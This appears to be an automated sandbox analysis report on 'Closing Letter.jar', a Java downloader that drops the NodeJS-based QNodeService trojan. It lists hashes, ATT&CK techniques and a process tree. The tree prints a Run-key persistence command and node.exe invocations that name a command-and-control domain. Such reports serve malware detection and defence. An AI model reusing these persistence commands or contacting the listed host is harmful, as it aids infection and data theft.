qnodeservice | 397a2d60c33dfdcd5cc56ae22b22989f31c154ced6547d9f1487ae02a1dc30db

General

Target

Closing Letter.jar
Size

71KB
MD5

831b760ab36e475c75edf3995058c835
SHA1

6cd5e4ea8b9c1649d4e0e4f2a69ef77456f5048a
SHA256

397a2d60c33dfdcd5cc56ae22b22989f31c154ced6547d9f1487ae02a1dc30db
SHA512

0d856e43eb08e6d264c47b9b75aca7a800cbce7cca362dc9711d562a37b95c9d956e59fb9957d6e9e9768cf30f767d6ba904597777a458271530f9732a126949

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2456	node.exe
2740	node.exe
3876	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\8c16be27-3550-4c6a-8bdf-c298d854604b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada2-171.dat	js
behavioral2/files/0x000100000001ada2-176.dat	js
behavioral2/files/0x000100000001ada2-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2456	node.exe
2456	node.exe
2456	node.exe
2456	node.exe
2740	node.exe
2740	node.exe
2740	node.exe
2740	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe
3876	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2788	2200	java.exe	73
PID 2200 wrote to memory of 2788	2200	java.exe	73
PID 2788 wrote to memory of 2456	2788	javaw.exe	77
PID 2788 wrote to memory of 2456	2788	javaw.exe	77
PID 2456 wrote to memory of 2740	2456	node.exe	79
PID 2456 wrote to memory of 2740	2456	node.exe	79
PID 2740 wrote to memory of 3876	2740	node.exe	80
PID 2740 wrote to memory of 3876	2740	node.exe	80
PID 3876 wrote to memory of 1788	3876	node.exe	82
PID 3876 wrote to memory of 1788	3876	node.exe	82
PID 1788 wrote to memory of 2036	1788	cmd.exe	83
PID 1788 wrote to memory of 2036	1788	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Closing Letter.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\535a2818.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain topguns.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_NDq1zO\boot.js --hub-domain topguns.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2740
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_NDq1zO\boot.js --hub-domain topguns.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8c16be27-3550-4c6a-8bdf-c298d854604b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8c16be27-3550-4c6a-8bdf-c298d854604b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2456-174-0x000003B9E7940000-0x000003B9E7941000-memory.dmp

Filesize
4KB

Download
memory/2740-177-0x0000039D15E00000-0x0000039D15E01000-memory.dmp

Filesize
4KB

Download
memory/3876-181-0x000003051A180000-0x000003051A181000-memory.dmp

Filesize
4KB

Download

Analysis

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